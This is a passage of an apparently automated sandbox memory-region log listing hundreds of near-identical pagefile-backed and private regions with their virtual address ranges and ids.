0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12760 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12761 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12762 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12763 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12764 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12765 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12766 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12767 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12768 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12769 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12770 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12771 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12772 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12773 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12774 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12775 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12776 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12777 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12778 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12779 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12780 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12781 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12782 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12783 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12784 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12785 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12786 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12787 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12788 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12789 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 12790 start_va = 0x121d0000 end_va = 0x126c1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000121d0000" filename = "" Region: id = 12791 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 12792 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12793 start_va = 0x450000 end_va = 0x452fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 12794 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12795 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12796 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12797 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12798 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12799 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12800 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12801 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12802 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12803 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12804 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12805 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12806 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12807 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12808 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12809 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12810 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12811 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12812 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12813 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12814 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12815 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12816 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12817 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12818 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12819 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12820 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12821 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12822 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12823 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12824 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12825 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12826 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12827 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12828 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12829 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12830 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12831 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12832 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12833 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12834 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12835 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12836 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12837 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12838 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12839 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12840 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12841 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12842 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12843 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12844 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12845 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12846 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12847 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12848 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12849 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12850 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12851 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12852 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12853 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12854 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12855 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12856 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12857 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12858 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12859 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12860 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12861 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12862 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12863 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12864 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12865 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12866 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12867 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12868 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12869 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12870 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12871 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12872 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12873 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12874 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12875 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12876 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12877 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12878 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12879 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12880 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12881 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12882 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12883 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12884 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12885 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12886 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12887 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12888 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12889 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12890 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12891 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12892 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12893 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12894 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12895 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12896 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12897 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12898 start_va = 0x6d0000 end_va = 0x6dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 12899 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 12900 start_va = 0x6f0000 end_va = 0x6fefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006f0000" filename = "" Region: id = 12901 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12902 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12903 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12904 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12905 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12906 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12907 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12908 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12909 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12910 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12911 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12912 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12913 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12914 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12915 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12916 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12917 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12918 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12919 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12920 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12921 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12922 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12923 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12924 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12925 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12926 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12927 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12928 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12929 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12930 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12931 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12932 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12933 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12934 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12935 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12936 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12937 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12938 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12939 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12940 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12941 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12942 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12943 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 12944 start_va = 